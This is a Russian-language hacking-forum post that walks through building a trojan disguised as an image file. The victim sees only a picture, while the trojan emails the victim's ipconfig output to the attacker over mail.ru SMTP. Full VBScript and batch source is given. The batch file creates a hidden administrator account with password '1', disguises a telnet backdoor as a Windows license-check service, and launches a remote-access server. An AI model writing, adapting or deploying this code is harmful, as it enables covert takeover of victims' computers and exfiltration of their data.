Регистрация Главная Пользователи Все разделы прочитаны
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Тема, как создать троян, не распространяя его же на свой компьютер

-

Товары/услуги в Сети

- Различные предложения в Сети - программы на заказ, создание и продажа сайтов, SEO, обмен валют и прочее

Ответ
 
Опции темы
Старый 18.07.2012, 22:01   #1
Заблокирован
 Разведчик
Аватар для Q[ua]
 
Q[ua] никому не известный тип
Регистрация: 18.07.2012
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Тема, как создать троян, не распространяя его же на свой компьютер

Троян не палился не одним из 40 антивирусов.
Сейчас я покажу как написать трояна который будет открывать 23[telnet] и 28137[FTP] порт , будет один файл *.exe , юзер откроет его , а там откроется картинка , не каких лишних окон выходить не будет .
Для начала скачиваем прогу Yoozy

Для создания трояна нужны файлы :
1)YoozyServer.exe - находится в архиве
2)любая картинка с названием 123.jpg
3)mail.vbs - этот файл присылает ip на мыло
4)user.bat - нужно создать ярлык этого файла


Исходник mail.vbs
Код:
Const FOF_SIMPLEPROGRESS = 256
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
On Error Resume Next
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\12345" ' Название временной папки
set filesys=CreateObject("sсriрting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
set filesys=Nothing
Set newfolder=Nothing

Set WshShell = CreateObject("Wsсriрt.Shell")
WshShell.Run "cmd.exe /c ipconfig > C:\12345\ip.txt", 0, false

Wsсriрt.Sleep (5000)

Set S = CreateObject("Wsсriрt.Shell")
set FSO=createobject("sсriрting.filesystemobject")
Call SendPost("smtp.mail.ru","куда придёт айпи","левое мыло с @mail.ru","IP ЛАМЕРА","ИПЫ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trbоdу)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="здесь логин левого мыла без @mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="здесь пароль от левого мыла"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.updаtе
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.Textbоdу=strbоdу
iMsg.AddAttachment "C:\12345\ip.txt"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing

Исходник user.bat
Код:
@Echo off
start C:\mail.vbs
start C:\123.jpg
chcp 1251
net user SUPPORT_388945a0 /delete
net user SUPPORT_388945a0 1 /add
net localgroup "Администраторы" SUPPORT_388945a0 /add
net localgroup "Пользователи" SUPPORT_388945a0 /del
copy /y "%SYSTEMROOT%/system32\tlntsvr.exe" "%SYSTEMROOT%/system32\tlntsevr.exe"
ECHO Windows Registry Editor Version 5.00>>user.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t]>>user.reg
ECHO "SUPPORT_388945a0"=dword:00000000>>user.reg
regedit /s user.reg && DEL user.reg
sc create "Microsoft Network" binpath= %windir%\system32\tlntsevr.exe type= own start= auto displayname= "Проверка подлинности Microsoft Windows" error= ignore depend= RPCSS/TCPIP/NTLMSSP
sc desсriрtion "Microsoft Network" "Удостоверяет, что ваш компьютер использует лицензионное программное обеспечение."
sc config tlntsvr start= auto
tlntadmn config port=23 sec=-NTLM
net start Telnet
start C:\YoozyServer.exe

Этот код создаст юзера с логином : SUPPORT_388945a0 и паролем : 1 , для подключения через 23 порт , юзер будет скрыт и не будет отображатся .

Скрины :
Все 4 файла

[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
Создание ярлыка user.bat


Понимаю что эта вредоносная тема, но все таки для будущих маленьких хакеров, это полезно
  Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Деньги] Заставь свой компьютер зарабатывать! Rebit Халява для Читера 64 02.03.2012 13:10
[Помогите!] Как создать свой чит? qween201 Общение и обсуждение CrossFire 1 04.06.2011 05:56
[Информация] АнтивирусБесплатно.Защити свой компьютер что бы играть в до ) CyberNETik Треп 3 21.03.2011 18:56

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 16:43.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net